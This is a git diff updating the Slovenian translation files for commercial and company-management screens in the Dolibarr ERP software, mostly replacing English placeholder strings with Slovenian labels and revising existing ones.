a/htdocs/langs/sl_SI/commercial.lang b/htdocs/langs/sl_SI/commercial.lang index e13f6551d2a..ca296f574c9 100644 --- a/htdocs/langs/sl_SI/commercial.lang +++ b/htdocs/langs/sl_SI/commercial.lang @@ -3,8 +3,8 @@ Commercial=Prodaja CommercialArea=Področje prodaje Customer=Kupec Customers=Kupci -Prospect=Možna stranka -Prospects=Možne stranke +Prospect=Potencialni kupec +Prospects=Potencialni kupci DeleteAction=Brisanje dogodka NewAction=Nov dogodek AddAction=Ustvari dogodek @@ -19,7 +19,7 @@ ShowTask=Prikaži naloge ShowAction=Prikaži aktivnosti ActionsReport=Poročilo o aktivnostih ThirdPartiesOfSaleRepresentative=Partnerji s prodajnimi predstavniki -SaleRepresentativesOfThirdParty=Prodajni predstavniki tretje osebe +SaleRepresentativesOfThirdParty=Prodajni predstavniki partnerja SalesRepresentative=Prodajni predstavnik SalesRepresentatives=Prodajni predstavniki SalesRepresentativeFollowUp=Prodajni predstavnik (nadaljevanje) @@ -46,7 +46,7 @@ LastProspectNeverContacted=Nikoli kontaktiran LastProspectToContact=Kontaktirati LastProspectContactInProcess=Kontakt v teku LastProspectContactDone=Kontakt izveden -ActionAffectedTo=Aktivnost, ki se tiče +ActionAffectedTo=Dogodek je dodeljen ActionDoneBy=Aktivnost izvedel ActionAC_TEL=Telefonski klic ActionAC_FAX=Poslati faks @@ -62,19 +62,28 @@ ActionAC_EMAILING=Pošlji skupinski e-mail ActionAC_COM=Pošlji prodajno poročilo po e-pošti ActionAC_SHIP=Pošlji pošiljko po pošti ActionAC_SUP_ORD=Pošlji nabavno naročilo po e-pošti -ActionAC_SUP_INV=Prejeto fakturo poslati po pošti +ActionAC_SUP_INV=Prejeti račun se pošlje po pošti ActionAC_OTH=Ostalo -ActionAC_OTH_AUTO=Avtomatsko vnešeni dogodki +ActionAC_OTH_AUTO=Drugi avto ActionAC_MANUAL=Ročno vnešeni dogodki ActionAC_AUTO=Avtomatsko vnešeni dogodki -ActionAC_OTH_AUTOShort=Auto +ActionAC_OTH_AUTOShort=Ostalo +ActionAC_EVENTORGANIZATION=Organizacija dogodkov dogodki Stats=Statistika prodaje StatusProsp=Status možne stranke DraftPropals=Osnutek komercialne ponudbe NoLimit=Brez omejitev ToOfferALinkForOnlineSignature=Povezava do online podpisa -WelcomeOnOnlineSignaturePage=Dobrodošli na strani za prejem ponudb od %s -ThisScreenAllowsYouToSignDocFrom=Na tem ekranu lahko sprejemate, podpisujete ali zavračate ponudbe -ThisIsInformationOnDocumentToSign=Informacije na dokumentu, ki jih je potrebno potrditi ali zavrniti +WelcomeOnOnlineSignaturePageProposal=Dobrodošli na strani za prejem ponudb od %s +WelcomeOnOnlineSignaturePageContract=Dobrodošli na strani za podpis PDF pogodbe %s +WelcomeOnOnlineSignaturePageFichinter=Dobrodošli na %s Intervention PDF strani za podpisovanje +ThisScreenAllowsYouToSignDocFromProposal=Na tem ekranu lahko sprejemate, podpisujete ali zavračate ponudbe +ThisScreenAllowsYouToSignDocFromContract=Ta zaslon vam omogoča podpis pogodbe v formatu PDF na spletu. +ThisScreenAllowsYouToSignDocFromFichinter=Ta zaslon vam omogoča spletno podpisovanje intervencije v formatu PDF. +ThisIsInformationOnDocumentToSignProposal=Informacije na dokumentu, ki jih je potrebno potrditi ali zavrniti +ThisIsInformationOnDocumentToSignContract=To so informacije o pogodbi za podpis +ThisIsInformationOnDocumentToSignFichinter=To je informacija o intervenciji v podpis SignatureProposalRef=Podpis ponudbe %s +SignatureContractRef=Podpis pogodbe %s +SignatureFichinterRef=Podpis intervencije %s FeatureOnlineSignDisabled=Funkcionalnost elektronskega podpisovanja je onemogočena, oziroma je dokument nastal, preden je bilo omogočeno elektronsko podpisovanje diff --git a/htdocs/langs/sl_SI/companies.lang b/htdocs/langs/sl_SI/companies.lang index f3f446280b3..2f09375b50f 100644 --- a/htdocs/langs/sl_SI/companies.lang +++ b/htdocs/langs/sl_SI/companies.lang @@ -1,112 +1,112 @@ # Dolibarr language file - Source file is en_US - companies -ErrorCompanyNameAlreadyExists=Ime podjetja %s že obstaja. Izberite drugačno ime. +ErrorCompanyNameAlreadyExists=Naziv podjetja %s že obstaja. Izberite drug naziv. ErrorSetACountryFirst=Najprej izberite državo SelectThirdParty=Izberite partnerja -ConfirmDeleteCompany=Are you sure you want to delete this company and all related information? -DeleteContact=Izbrišite kontakt -ConfirmDeleteContact=Are you sure you want to delete this contact and all related information? -MenuNewThirdParty=New Third Party -MenuNewCustomer=New Customer -MenuNewProspect=New Prospect -MenuNewSupplier=New Vendor -MenuNewPrivateIndividual=Nov posameznik -NewCompany=New company (prospect, customer, vendor) -NewThirdParty=New Third Party (prospect, customer, vendor) -CreateDolibarrThirdPartySupplier=Create a third party (vendor) +ConfirmDeleteCompany=Ali ste prepričani, da želite izbrisati podjetje in vse povezane informacije? +DeleteContact=Izbrišite stik +ConfirmDeleteContact=Ali ste prepričani, da želite izbrisati stik in vse povezane informacije? +MenuNewThirdParty=Nov partner +MenuNewCustomer=Nov kupec +MenuNewProspect=Nov potencialni kupec +MenuNewSupplier=Nov dobavitelj +MenuNewPrivateIndividual=Nova fizična oseba +NewCompany=Novo podjetje (potencialni kupec, kupec, dobavitelj) +NewThirdParty=Nov partner (potencialni kupec, kupec, dobavitelj) +CreateDolibarrThirdPartySupplier=Ustvari partnerja (dobavitelj) CreateThirdPartyOnly=Ustvari partnerja -CreateThirdPartyAndContact=Create a third party + a child contact -ProspectionArea=Področje možnih strank -IdThirdParty=ID partnerja -IdCompany=ID podjetja -IdContact=ID kontakta -ThirdPartyAddress=Third-party address -ThirdPartyContacts=Third-party contacts -ThirdPartyContact=Third-party contact/address +CreateThirdPartyAndContact=Ustvarite partnerja + pripadajoč stik +ProspectionArea=Potencialni kupci +IdThirdParty=Partner ID +IdCompany=Podjetje ID +IdContact=Stik ID +ThirdPartyAddress=Naslov partnerja +ThirdPartyContacts=Stiki +ThirdPartyContact=Stik Company=Podjetje -CompanyName=Ime podjetja -AliasNames=Drugo ime (komercialno, blagovna znamka, ...) -AliasNameShort=Alias Name +CompanyName=Naziv podjetja +AliasNames=Vzdevek (skrajšan naziv, blagovna znamka, ...) +AliasNameShort=Vzdevek naziv Companies=Podjetja -CountryIsInEEC=Country is inside the European Economic Community -PriceFormatInCurrentLanguage=Price display format in the current language and currency -ThirdPartyName=Third-party name -ThirdPartyEmail=Third-party email -ThirdParty=Third-party -ThirdParties=Third-parties -ThirdPartyProspects=Možne stranke -ThirdPartyProspectsStats=Možne stranke +CountryIsInEEC=Država je znotraj Evropske gospodarske skupnosti +PriceFormatInCurrentLanguage=Prikazana cene v trenutnem jeziku in valuti +ThirdPartyName=Naziv +ThirdPartyEmail=E-pošta +ThirdParty=Partner +ThirdParties=Partnerji +ThirdPartyProspects=Potencialni kupci +ThirdPartyProspectsStats=Potencialni kupci ThirdPartyCustomers=Kupci ThirdPartyCustomersStats=Kupci ThirdPartyCustomersWithIdProf12=Kupci z %s ali %s -ThirdPartySuppliers=Vendors -ThirdPartyType=Third-party type -Individual=Posameznik -ToCreateContactWithSameName=Will automatically create a contact/address with same information as the third party under the third party. In most cases, even if your third party is a physical person, creating a third party alone is enough. -ParentCompany=Lastniško podjetje +ThirdPartySuppliers=Dobavitelji +ThirdPartyType=Vrsta partnerja +Individual=Fizična oseba +ToCreateContactWithSameName=Samodejno bo ustvaril stik/naslov z enakimi informacijami kot nadrejeni partner. V večini primerov, tudi če je partner fizična oseba, zadostuje samo ustvarjanje partnerja. +ParentCompany=Nadrejeno podjetje Subsidiaries=Podružnice -ReportByMonth=Report per month -ReportByCustomers=Report per customer -ReportByThirdparties=Report per thirdparty -ReportByQuarter=Report per rate +ReportByMonth=Poročilo - mesec +ReportByCustomers=Poročilo - kupci +ReportByThirdparties=Poročilo - partnerji +ReportByQuarter=Poročilo - tečajnica CivilityCode=Vljudnostni naziv RegisteredOffice=Registrirana poslovalnica Lastname=Priimek Firstname=Ime -RefEmployee=Employee reference -NationalRegistrationNumber=National registration number -PostOrFunction=Job position +RefEmployee=Referenca zaposlenega +NationalRegistrationNumber=Državna registrska številka +PostOrFunction=Delovno mesto UserTitle=Naziv -NatureOfThirdParty=Nature of Third party -NatureOfContact=Nature of Contact +NatureOfThirdParty=Narava partnerja +NatureOfContact=Narava stika Address=Naslov State=Dežela/Provinca -StateId=State ID -StateCode=State/Province code +StateId=Osebna izkaznica +StateCode=Koda države StateShort=Država Region=Regija -Region-State=Region - State +Region-State=Regija - Država Country=Država CountryCode=Koda države -CountryId=Country ID +CountryId=Država ID Phone=Telefon PhoneShort=Telefon Skype=Skype Call=Kliči Chat=Klepetaj -PhonePro=Bus. phone +PhonePro=Poslovni telefon PhonePerso=Osebni telefon PhoneMobile=Mobilni telefon -No_Email=Refuse bulk emailings +No_Email=Zavrnite množično pošiljanje e-pošte Fax=Faks Zip=Poštna številka Town=Mesto Web=Spletna stran Poste= Položaj -DefaultLang=Default language -VATIsUsed=Sales tax used -VATIsUsedWhenSelling=This defines if this third party includes a sales tax or not when it makes an invoice to its own customers -VATIsNotUsed=Sales tax is not used -CopyAddressFromSoc=Copy address from third-party details -ThirdpartyNotCustomerNotSupplierSoNoRef=Third party neither customer nor vendor, no available referring objects -ThirdpartyIsNeitherCustomerNorClientSoCannotHaveDiscounts=Third party neither customer nor vendor, discounts are not available -PaymentBankAccount=Payment bank account +DefaultLang=Privzeti jezik +VATIsUsed=Davčni zavezanec +VATIsUsedWhenSelling=Davčni zavezanec na računu +VATIsNotUsed=Ni davčni zavezanec +CopyAddressFromSoc=Kopiraj naslov iz podatkov partnerja +ThirdpartyNotCustomerNotSupplierSoNoRef=Partner ni opredeljen kot kupec ali dobavitelj, ni razpoložljivih informacij +ThirdpartyIsNeitherCustomerNorClientSoCannotHaveDiscounts=Partner ni opredeljen kot kupec ali dobavitelj, popusti niso na voljo +PaymentBankAccount=Plačilni bančni račun OverAllProposals=Ponudbe OverAllOrders=Naročila OverAllInvoices=Računi -OverAllSupplierProposals=Price requests +OverAllSupplierProposals=Zahteve po ceni ##### Local Taxes ##### -LocalTax1IsUsed=Uporabi drugi davek +LocalTax1IsUsed=Znižana davčna stopnja LocalTax1IsUsedES= RE je uporabljen LocalTax1IsNotUsedES= RE ni uporabljen -LocalTax2IsUsed=Uporabi tretji davek +LocalTax2IsUsed=Alternativni davek LocalTax2IsUsedES= IRPF je uporabljen LocalTax2IsNotUsedES= IRPF ni uporabljen -WrongCustomerCode=Napačna koda kupca -WrongSupplierCode=Vendor code invalid +WrongCustomerCode=Neveljavna koda kupca +WrongSupplierCode=Neveljavna koda dobavitelja CustomerCodeModel=Model kode kupca -SupplierCodeModel=Vendor code model +SupplierCodeModel=Model kode dobavitelja Gencod=Črtna koda -GencodBuyPrice=Barcode of price ref +GencodBuyPrice=Črtna koda za referenčne cene ##### Professional ID ##### ProfId1Short=Mat. št. ProfId2Short=Reg. sodišče @@ -130,7 +130,7 @@ ProfId1AT=Prof Id 1 (USt.-IdNr) ProfId2AT=Prof Id 2 (USt.-Nr) ProfId3AT=Prof Id 3 (Handelsregister-Nr.) ProfId4AT=- -ProfId5AT=EORI number +ProfId5AT=številko EORI ProfId6AT=- ProfId1AU=Prof Id 1 (ABN) ProfId2AU=- @@ -142,19 +142,19 @@ ProfId1BE=Prof Id 1 (Professional number) ProfId2BE=- ProfId3BE=- ProfId4BE=- -ProfId5BE=EORI number +ProfId5BE=Številka EORI ProfId6BE=- ProfId1BR=- ProfId2BR=IE() -ProfId3BR=IM() +ProfId3BR=OB(Občina) ProfId4BR=CPF #ProfId5BR=CNAE #ProfId6BR=INSS -ProfId1CH=UID-Nummer +ProfId1CH=UID-Številka ProfId2CH=- ProfId3CH=Prof Id 1 (Federal number) ProfId4CH=Prof Id 2 (Commercial Record number) -ProfId5CH=EORI number +ProfId5CH=Številka EORI ProfId6CH=- ProfId1CL== ProfId2CL== @@ -162,16 +162,16 @@ ProfId3CL== ProfId4CL== ProfId5CL== ProfId6CL=- -ProfId1CM=Id. prof. 1 (Trade Register) -ProfId2CM=Id. prof. 2 (Taxpayer No.) -ProfId3CM=Id. prof. 3 (No. of creation decree) -ProfId4CM=Id. prof. 4 (Deposit certificate No.) -ProfId5CM=Id. prof. 5 (Others) +ProfId1CM=Id. prof. 1 (poslovni register) +ProfId2CM=Id. prof. 2 (Št. zavezanca) +ProfId3CM=Id. prof. 3 (št. odloka o ustanovitvi) +ProfId4CM=Id. prof. 4 (potrdilo o vlogi št.) +ProfId5CM=Id. prof. 5 (drugo) ProfId6CM=- -ProfId1ShortCM=Trade Register -ProfId2ShortCM=Taxpayer No. -ProfId3ShortCM=No. of creation decree -ProfId4ShortCM=Deposit certificate No. +ProfId1ShortCM=Trgovski register +ProfId2ShortCM=ID za DDV +ProfId3ShortCM=Št. odloka o ustanovitvi +ProfId4ShortCM=Potrdilo o depozitu št. ProfId5ShortCM=Ostali ProfId6ShortCM=- ProfId1CO== @@ -184,21 +184,21 @@ ProfId1DE=Prof Id 1 (USt.-IdNr) ProfId2DE=Prof Id 2 (USt.-Nr) ProfId3DE=Prof Id 3 (Handelsregister-Nr.) ProfId4DE=- -ProfId5DE=EORI number +ProfId5DE=številko EORI ProfId6DE=- ProfId1ES=(CNAE) ProfId2ES=(Social security number) ProfId3ES=(IAE) ProfId4ES=(Collegiate number) -ProfId5ES=Prof Id 5 (EORI number) +ProfId5ES=Prof Id 5 (številka EORI) ProfId6ES=- ProfId1FR=Prof Id 1 (SIREN) ProfId2FR=Prof Id 2 (SIRET) ProfId3FR=Prof Id 3 (NAF, old APE) ProfId4FR=Prof Id 4 (RCS/RM) -ProfId5FR=Prof Id 5 (numéro EORI) +ProfId5FR=Prof Id 5 (številka EORI) ProfId6FR=- -ProfId1ShortFR=SIREN +ProfId1ShortFR=SIRENA ProfId2ShortFR=SIRET ProfId3ShortFR=NAF ProfId4ShortFR=RCS @@ -226,13 +226,13 @@ ProfId1IT=- ProfId2IT=- ProfId3IT=- ProfId4IT=- -ProfId5IT=EORI number +ProfId5IT=številko EORI ProfId6IT=- ProfId1LU=Id. prof. 1 (R.C.S. Luxemburg) ProfId2LU=Id. prof. 2 (Dovoljenje za poslovanje) ProfId3LU=- ProfId4LU=- -ProfId5LU=EORI number +ProfId5LU=številko EORI ProfId6LU=- ProfId1MA== ProfId2MA== @@ -250,13 +250,13 @@ ProfId1NL=KVK nummer ProfId2NL=- ProfId3NL=- ProfId4NL=- -ProfId5NL=EORI number +ProfId5NL=številko EORI ProfId6NL=- ProfId1PT=Prof Id 1 (NIPC) ProfId2PT=Prof Id 2 (Social security number) ProfId3PT=Prof Id 3 (Commercial Record number) ProfId4PT=Prof Id 4 (Conservatory) -ProfId5PT=Prof Id 5 (EORI number) +ProfId5PT=Prof Id 5 (številka EORI) ProfId6PT=- ProfId1SN== ProfId2SN== @@ -270,17 +270,17 @@ ProfId3TN=Prof Id 3 (Douane code) ProfId4TN=Prof Id 4 (BAN) ProfId5TN== ProfId6TN=- -ProfId1US=Prof Id (FEIN) +ProfId1US=Id prof. (FEIN) ProfId2US=- ProfId3US=- ProfId4US=- ProfId5US=- ProfId6US=- -ProfId1RO=Prof Id 1 (CUI) +ProfId1RO=Prof ID 1 (CUI) ProfId2RO=Prof Id 2 (Nr. Înmatriculare) ProfId3RO=Prof Id 3 (CAEN) ProfId4RO=Prof Id 5 (EUID) -ProfId5RO=Prof Id 5 (EORI number) +ProfId5RO=Prof Id 5 (številka EORI) ProfId6RO=- ProfId1RU=Prof ID 1 (OGRN) ProfId2RU=Prof Id 2 (INN) @@ -291,120 +291,120 @@ ProfId6RU=- ProfId1UA=Prof Id 1 (EDRPOU) ProfId2UA=Prof Id 2 (DRFO) ProfId3UA=Prof Id 3 (INN) -ProfId4UA=Prof Id 4 (Certificate) +ProfId4UA=Prof Id 4 (Certifikat) ProfId5UA=Prof Id 5 (RNOKPP) ProfId6UA=Prof Id 6 (TRDPAU) ProfId1DZ== -ProfId2DZ=Art. +ProfId2DZ=Umetnost. ProfId3DZ=NIF ProfId4DZ=NIS -VATIntra=VAT ID -VATIntraShort=VAT ID +VATIntra=ID za DDV +VATIntraShort=ID za DDV VATIntraSyntaxIsValid=Ime zavezanca veljavno -VATReturn=VAT return +VATReturn=obračun DDV ProspectCustomer=Možna stranka / kupec Prospect=Možna stranka CustomerCard=Kartica kupca Customer=Kupec -CustomerRelativeDiscount=Relativni popust za kupca -SupplierRelativeDiscount=Relative vendor discount +CustomerRelativeDiscount=Popust za kupca +SupplierRelativeDiscount=Popust pri dobavitelju CustomerRelativeDiscountShort=Relativni popust CustomerAbsoluteDiscountShort=Absolutni popust CompanyHasRelativeDiscount=Temu kupcu pripada popust v višini %s%% CompanyHasNoRelativeDiscount=Ta kupec nima odobrenega relativnega popusta -HasRelativeDiscountFromSupplier=You have a default discount of %s%% from this vendor -HasNoRelativeDiscountFromSupplier=You have no default relative discount from this vendor -CompanyHasAbsoluteDiscount=This customer has discounts available (credits notes or down payments) for %s %s -CompanyHasDownPaymentOrCommercialDiscount=This customer has discounts available (commercial, down payments) for %s %s +HasRelativeDiscountFromSupplier=You have a default discount of %s%% with this vendor +HasNoRelativeDiscountFromSupplier=No default relative discount with this vendor +CompanyHasAbsoluteDiscount=Ta stranka ima na voljo popuste (dobropise ali predplačila) za %s %s +CompanyHasDownPaymentOrCommercialDiscount=Ta stranka ima na voljo popuste (komercialne, predplačila) za %s %s CompanyHasCreditNote=Ta kupec ima dobropis ali depozit v višini %s %s -HasNoAbsoluteDiscountFromSupplier=You have no discount credit available from this vendor -HasAbsoluteDiscountFromSupplier=You have discounts available (credits notes or down payments) for %s %s from this vendor -HasDownPaymentOrCommercialDiscountFromSupplier=You have discounts available (commercial, down payments) for %s %s from this vendor -HasCreditNoteFromSupplier=You have credit notes for %s %s from this vendor +HasNoAbsoluteDiscountFromSupplier=Pri dobavitelju ni popusta/kredita +HasAbsoluteDiscountFromSupplier=Na voljo imate popuste (dobropise ali predplačila) za %s %s pri tem dobavitelju +HasDownPaymentOrCommercialDiscountFromSupplier=Na voljo imate popuste (komercialne, predplačila) za %s %s pri tem dobavitelju +HasCreditNoteFromSupplier=Imate dobropise za %s %s tega dobavitelja CompanyHasNoAbsoluteDiscount=Ta kupec nima diskontnega kredita -CustomerAbsoluteDiscountAllUsers=Absolute customer discounts (granted by all users) -CustomerAbsoluteDiscountMy=Absolute customer discounts (granted by yourself) -SupplierAbsoluteDiscountAllUsers=Absolute vendor discounts (entered by all users) -SupplierAbsoluteDiscountMy=Absolute vendor discounts (entered by yourself) +CustomerAbsoluteDiscountAllUsers=Absolutni popusti za kupce (ki jih odobrijo vsi uporabniki) +CustomerAbsoluteDiscountMy=Absolutni popusti za stranke (dodelite jih sami) +SupplierAbsoluteDiscountAllUsers=Absolutni popusti dobavitelja (vnesejo vsi uporabniki) +SupplierAbsoluteDiscountMy=Absolutni popusti dobavitelja (vnesete sami) DiscountNone=Brez popusta -Vendor=Vendor -Supplier=Vendor -AddContact=Ustvari kntakt +Vendor=Dobavitelj +Supplier=Dobavitelj +AddContact=Ustvari stik AddContactAddress=Ustvari naslov -EditContact=Uredi osebo / naslov -EditContactAddress=Uredi kontakt/naslov -Contact=Contact/Address -Contacts=Kontakti -ContactId=Contact id -ContactsAddresses=Kontakti/naslovi -FromContactName=Name: -NoContactDefinedForThirdParty=Pri tem partnerju ni definiranega kontakta -NoContactDefined=Pri tem partnerju ni definiranega kontakta -DefaultContact=Privzeti kontakt -ContactByDefaultFor=Default contact/address for +EditContact=Uredi stik +EditContactAddress=Uredi stik/naslov +Contact=Stik/Naslov +Contacts=Stik/Naslovi +ContactId=ID stika +ContactsAddresses=Stik/Naslovi +FromContactName=Ime: +NoContactDefinedForThirdParty=Pri tem partnerju ni definiranega stika +NoContactDefined=Stik ni določen +DefaultContact=Privzeti stik +ContactByDefaultFor=Privzeti stik/naslov za AddThirdParty=Ustvari partnerja DeleteACompany=Izbriši podjetje PersonalInformations=Osebni podatki -AccountancyCode=Računovodstvo račun -CustomerCode=Customer Code -SupplierCode=Vendor Code -CustomerCodeShort=Customer Code -SupplierCodeShort=Vendor Code -CustomerCodeDesc=Customer Code, unique for all customers -SupplierCodeDesc=Vendor Code, unique for all vendors -RequiredIfCustomer=Obvezno, če je partner kupec ali možna stranka -RequiredIfSupplier=Required if third party is a vendor -ValidityControledByModule=Validity controlled by the module -ThisIsModuleRules=Rules for this module -ProspectToContact=Možna stranka v kontakt -CompanyDeleted=Podjetje "%s" izbrisano iz baze. -ListOfContacts=Seznam kontaktov -ListOfContactsAddresses=Seznam kontaktov -ListOfThirdParties=List of Third Parties -ShowCompany=Third Party -ShowContact=Contact-Address +AccountancyCode=Računovodski račun +CustomerCode=Koda kupca +SupplierCode=Koda dobavitelja +CustomerCodeShort=Koda partnerja +SupplierCodeShort=Koda dobavitelja +CustomerCodeDesc=Enolična koda za vse partnerje +SupplierCodeDesc=Enolična koda za vse dobavitelje +RequiredIfCustomer=Obvezno, če je partner kupec ali potencialni kupec +RequiredIfSupplier=Zahtevano za dobavitelje +ValidityControledByModule=Veljavnost nadzira modul +ThisIsModuleRules=Pravila za ta modul +ProspectToContact=Potencialni kupec v stiku +CompanyDeleted=Podjetje "%s" izbrisano iz podatkovnega skladišča. +ListOfContacts=Seznam stikov/naslovov +ListOfContactsAddresses=Seznam stikov/naslovov +ListOfThirdParties=Seznam partnerjev +ShowCompany=Partner +ShowContact=Stik-Naslov ContactsAllShort=Vsi (brez filtra) -ContactType=Contact role -ContactForOrders=Kontakt za naročilo -ContactForOrdersOrShipments=Kontakt za naročilo ali pošiljanje -ContactForProposals=Kontakt za ponudbo -ContactForContracts=Kontakt za pogodbo -ContactForInvoices=Kontakt za račun -NoContactForAnyOrder=Ta kontakt ni pravi za naročila -NoContactForAnyOrderOrShipments=Ta kontakt ni pravi za naročilo ali pošiljanje +ContactType=Vloga stika +ContactForOrders=Stikova naročila +ContactForOrdersOrShipments=Stik za pošiljanje naročil +ContactForProposals=Stik za ponudbe +ContactForContracts=Stik za pogodbe +ContactForInvoices=Stik za račune +NoContactForAnyOrder=Za naročila stik ni pravilen +NoContactForAnyOrderOrShipments=Za pošiljanje naročil stik ni pravilen NoContactForAnyProposal=Ta kontakt ni pravi za komercialne ponudbe NoContactForAnyContract=Ta kontakt ni pravi za pogodbe NoContactForAnyInvoice=Ta kontakt ni pravi za račune -NewContact=Nov kontakt -NewContactAddress=New Contact/Address -MyContacts=Moji kontakti +NewContact=Nov stik +NewContactAddress=Nov Stik/Naslov +MyContacts=Moji stiki Capital=Kapital CapitalOf=Kapital %s EditCompany=Uredi podjetje -ThisUserIsNot=This user is not a prospect, customer or vendor +ThisUserIsNot=Ta uporabnik ni potencialni kupec, kupec ali dobavitelj VATIntraCheck=Kontrola -VATIntraCheckDesc=The VAT ID must include the country prefix. The link %s uses the European VAT checker service (VIES) which requires internet access from the Dolibarr server. +VATIntraCheckDesc=ID za DDV mora vsebovati predpono države. Povezava %s uporablja evropsko storitev preverjanja DDV (VIES), ki zahteva dostop do interneta s strežnika Dolibarr. VATIntraCheckURL=http://ec.europa.eu/taxation_customs/vies/vieshome.do -VATIntraCheckableOnEUSite=Check the intra-Community VAT ID on the European Commission website -VATIntraManualCheck=You can also check manually on the European Commission website %s +VATIntraCheckableOnEUSite=Preverite ID za DDV znotraj Skupnosti na spletni strani Evropske komisije +VATIntraManualCheck=Preverite lahko tudi ročno na spletni strani Evropske komisije %s ErrorVATCheckMS_UNAVAILABLE=Kontrola ni možna. Država članica ne zagotavlja storitve poizvedbe (%s). -NorProspectNorCustomer=Not prospect, nor customer -JuridicalStatus=Business entity type -Workforce=Workforce -Staff=Employees +NorProspectNorCustomer=Ni potencialni kupec ali kupec +JuridicalStatus=Vrsta poslovnega subjekta +Workforce=Delovna sila +Staff=Zaposleni ProspectLevelShort=Potencial -ProspectLevel=Potencial možne stranke +ProspectLevel=Potencial kupca ContactPrivate=Zasebni ContactPublic=V skupni rabi -ContactVisibility=Vidljivost +ContactVisibility=Viden ContactOthers=Ostalo OthersNotLinkedToThirdParty=Ostali, brez povezave s partnerjem -ProspectStatus=Status možne stranke -PL_NONE=Ni potenciala +ProspectStatus=Status potencialnega kupca +PL_NONE=brez PL_UNKNOWN=Neznan -PL_LOW=Majhen potencial -PL_MEDIUM=Srednji potencial -PL_HIGH=Visok potencial +PL_LOW=Nizka +PL_MEDIUM=Srednja +PL_HIGH=Visoka TE_UNKNOWN=- TE_STARTUP=Novo podjetje TE_GROUP=Veliko podjetje @@ -412,89 +412,94 @@ TE_MEDIUM=Srednje podjetje TE_ADMIN=Državno podjetje TE_SMALL=Majhno podjetje TE_RETAIL=Maloprodaja -TE_WHOLE=Wholesaler +TE_WHOLE=Veletrgovec TE_PRIVATE=Samostojni podjetnik TE_OTHER=Ostalo StatusProspect-1=Ne kontaktirati StatusProspect0=Še ni bil kontaktiran -StatusProspect1=To be contacted +StatusProspect1=Za stik StatusProspect2=Kontaktiranje v teku StatusProspect3=Kontakt izveden ChangeDoNotContact=Spremeni status v 'Ne kontaktirati' ChangeNeverContacted=Spremeni status v 'Še ni bil kontaktiran' -ChangeToContact=Change status to 'To be contacted' +ChangeToContact=Spremenite status v »V stik« ChangeContactInProcess=Spremeni status v 'Kontaktiranje v teku' ChangeContactDone=Spremeni status v 'Kontakt izveden' ProspectsByStatus=Možne stranke po statusu NoParentCompany=Brez ExportCardToFormat=Izvoz podatkov v formatu ContactNotLinkedToCompany=Kontakt ni povezan z nobenim partnerjem -DolibarrLogin=Uporabniško ime za Dolibarr -NoDolibarrAccess=Nima dostopa v Dolibarr -ExportDataset_company_1=Third-parties (companies/foundations/physical people) and their properties -ExportDataset_company_2=Contacts and their properties -ImportDataset_company_1=Third-parties and their properties -ImportDataset_company_2=Third-parties additional contacts/addresses and attributes -ImportDataset_company_3=Third-parties Bank accounts -ImportDataset_company_4=Third-parties Sales representatives (assign sales representatives/users to companies) -PriceLevel=Price Level -PriceLevelLabels=Price Level Labels +DolibarrLogin=Uporabniško ime +NoDolibarrAccess=Nima dostopa +ExportDataset_company_1=Partnerji (podjetja/fundacije/fizične osebe) in njihova lastnina +ExportDataset_company_2=Stiki in njihove lastnosti +ImportDataset_company_1=Partnerji in njihove lastnosti +ImportDataset_company_2=Dodatni stiki/naslovi in atributi partnerjev +ImportDataset_company_3=Bančni računi partnerjev +ImportDataset_company_4=Prodajni zastopniki partnerjev (dodelite prodajne zastopnike/uporabnike podjetjem) +PriceLevel=Raven cene +PriceLevelLabels=Oznake ravni cen DeliveryAddress=Naslov za dostavo AddAddress=Dodaj naslov -SupplierCategory=Vendor category -JuridicalStatus200=Independent +SupplierCategory=Skupina dobavitelja +JuridicalStatus200=Neodvisen DeleteFile=Izbriši datoteko -ConfirmDeleteFile=Ali zares želite izbrisati to datoteko? -AllocateCommercial=Assigned to sales representative +ConfirmDeleteFile=Ali ste prepričani, da želite izbrisati to datoteko %s ? +AllocateCommercial=Dodeljen prodajnemu zastopniku Organization=Organizacija -FiscalYearInformation=Fiscal Year +FiscalYearInformation=Poslovno leto FiscalMonthStart=Začetni mesec fiskalnega leta -SocialNetworksInformation=Social networks +SocialNetworksInformation=Socialna omrežja SocialNetworksFacebookURL=Facebook URL SocialNetworksTwitterURL=Twitter URL SocialNetworksLinkedinURL=Linkedin URL SocialNetworksInstagramURL=Instagram URL SocialNetworksYoutubeURL=Youtube URL SocialNetworksGithubURL=Github URL -YouMustAssignUserMailFirst=You must create an email for this user prior to being able to add an email notification. -YouMustCreateContactFirst=To be able to add email notifications, you must first define contacts with valid emails for the third party -ListSuppliersShort=List of Vendors -ListProspectsShort=List of Prospects -ListCustomersShort=List of Customers -ThirdPartiesArea=Third Parties/Contacts -LastModifiedThirdParties=Latest %s Third Parties which were modified -UniqueThirdParties=Total number of Third Parties +YouMustAssignUserMailFirst=Preden lahko dodate e-poštno obvestilo, morate za tega uporabnika ustvariti e-poštno sporočilo. +YouMustCreateContactFirst=Če želite dodati e-poštna obvestila, morate najprej določiti stike z veljavnimi e-poštnimi naslovi partnerja +ListSuppliersShort=Seznam dobaviteljev +ListProspectsShort=Seznam potencialnih kupcev +ListCustomersShort=Seznam strank +ThirdPartiesArea=Partnerji/stiki +LastModifiedThirdParties=Zadnjih %s spremenjenih partnerjev +UniqueThirdParties=Skupno število partnerjev InActivity=Odprt ActivityCeased=Neaktiven -ThirdPartyIsClosed=Third party is closed -ProductsIntoElements=List of products/services mapped to %s +ThirdPartyIsClosed=Partner je zaprt +ProductsIntoElements=Seznam izdelkov/storitev, preslikanih v %s CurrentOutstandingBill=Trenutni neplačan račun OutstandingBill=Max. za neplačan račun -OutstandingBillReached=Max. for outstanding bill reached -OrderMinAmount=Minimum amount for order -MonkeyNumRefModelDesc=Return a number in the format %syymm-nnnn for the customer code and %syymm-nnnn for the vendor code where yy is year, mm is month and nnnn is a sequencial auto-incrementing number with no break and no return to 0. +OutstandingBillReached=Maks. za dosežen neporavnani račun +OrderMinAmount=Minimalni znesek za naročilo +MonkeyNumRefModelDesc=Vrni številko v obliki %sllmm-nnnn za kodo kupca in %sllmm-nnnn za kodo dobavitelja, kjer je ll leto, mm je mesec in nnnn je zaporedno samodejno naraščajoče število brez prekinitve in vrnitve na 0. LeopardNumRefModelDesc=Koda kupca / dobavitelja po želji. Lahko jo kadarkoli spremenite. ManagingDirectors=Ime direktorja(ev) (CEO, direktor, predsednik...) MergeOriginThirdparty=Podvojen partner (partner, ki ga želite zbrisati) MergeThirdparties=Združi partnerje -ConfirmMergeThirdparties=Are you sure you want to merge the chosen third party with the current one? All linked objects (invoices, orders, ...) will be moved to the current third party, after which the chosen 